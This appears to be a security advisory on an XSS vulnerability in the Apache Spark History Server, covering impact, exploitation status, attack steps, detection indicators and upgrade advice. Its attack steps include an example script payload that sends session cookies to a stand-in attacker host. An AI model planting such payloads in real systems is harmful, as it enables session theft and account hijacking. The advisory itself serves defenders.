CVE-2026-32773: 
NixOS vulnerability analysis and mitigation

CVE-2026-32773 is a Cross-Site Scripting (XSS) vulnerability in the Apache Spark History Server that allows a malicious Spark job to inject arbitrary unescaped frontend code into the Spark Web UI. It affects Apache Spark versions 3.0.0 through 3.5.7 (prior to 3.5.8). The vulnerability was disclosed on September 1, 2026, by reporter Yann Gourio and is tracked internally as SPARK-53747. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, OSS-Security).

The root cause is improper neutralization of script-related HTML tags in the Spark History Server's web interface (CWE-80). A user with sufficient permissions to submit a Spark job can embed malicious JavaScript or HTML into job metadata or output that is subsequently rendered unescaped in the History Server's web UI. Exploitation requires two preconditions: the attacker must have the ability to launch a Spark job, and a user with higher privileges must be socially engineered into visiting the affected History Server page. No public proof-of-concept code has been identified (GitHub Advisory, OSS-Security).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the browser of a higher-privileged user visiting the Spark History Server, potentially leading to session cookie theft, account hijacking, or redirection to malicious sites. The Apache advisory characterizes the privilege escalation as "minimal," as the scope is limited to browser-level impact without direct server-side compromise. Availability is not impacted, but confidentiality and integrity are both assessed as low (GitHub Advisory, OSS-Security).

There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation as of the disclosure date. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, reflecting the multi-step social engineering requirement. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, OSS-Security).

1. Obtain Spark job submission access: The attacker must have credentials or permissions sufficient to submit a Spark job to the target cluster.
2. Craft a malicious Spark job: Embed a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) within job metadata, application name, or other fields that are rendered in the Spark History Server UI.
3. Submit the job: Run the crafted Spark job so that its metadata is recorded and becomes visible in the History Server.
4. Social engineering: Trick a higher-privileged user (e.g., a Spark administrator) into visiting the Spark History Server page that displays the malicious job entry.
5. XSS execution: The unescaped payload executes in the victim's browser, enabling session cookie theft, credential harvesting, or redirection to an attacker-controlled site (OSS-Security, GitHub Advisory).

• Logs: Spark History Server access logs showing requests from unexpected IP addresses or user agents to job history pages; unusual query parameters or encoded strings in HTTP request logs.
• Network: Outbound connections from a victim's browser to unknown external domains shortly after visiting the Spark History Server (indicative of data exfiltration via XSS).
• Application: Spark job submissions with application names or descriptions containing HTML/JavaScript tags (e.g., <script>, <img onerror=, javascript:) visible in job metadata or History Server UI.

The primary remediation is to upgrade Apache Spark to version 3.5.8 or later, which includes proper XSS escaping in the History Server UI (OSS-Security, GitHub Advisory). As interim mitigations, administrators should restrict access to the Spark Web UI to trusted internal networks only, implement Content Security Policy (CSP) headers to limit script execution, and disable the Web UI entirely if it is not operationally required. Limiting who can submit Spark jobs reduces the attacker's ability to inject malicious content.

The vulnerability was disclosed via the Apache security mailing list and the OSS-Security list by Holden Karau, crediting Yann Gourio as the finder. Apache rated the severity as "low" due to the high bar for exploitation, though the NVD assigned a CVSS score of 6.1 (Medium). No significant broader media coverage or notable researcher commentary beyond the official disclosure has been identified (OSS-Security, GitHub Advisory).